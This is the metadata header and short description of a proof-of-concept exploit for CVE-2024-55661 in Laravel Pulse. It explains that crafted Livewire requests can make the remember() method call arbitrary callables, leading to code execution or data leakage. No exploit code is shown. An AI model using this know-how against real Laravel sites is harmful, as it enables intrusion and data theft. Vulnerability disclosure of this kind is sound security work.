# Exploit Title: Laravel Pulse 1.3.1 - Arbitrary Code Injection
# Author: Mohammed Idrees Banyamer (@banyamer_security)
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Laravel Pulse v1.2.0 / Ubuntu 22.04 / Apache2
# CVE: CVE-2024-55661
# Type: Remote Code Execution (via Arbitrary Code Injection)
# Platform: PHP (Laravel Livewire)
# Author Country: Jordan
# Description:
# A vulnerability in Laravel Pulse (< 1.3.1) allows arbitrary code injection via
# the `remember()` method in the `RemembersQueries` trait. The attacker can craft
# a Livewire request to invoke arbitrary callables, enabling data exfiltration or
# remote execution if unsafe classes are exposed.

Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
Author: Mohammed Idrees Banyamer | PoC

This tool exploits the vulnerability in the `remember()` method in vulnerable versions
of laravel/pulse to trigger arbitrary code execution or sensitive data leakage via Livewire.
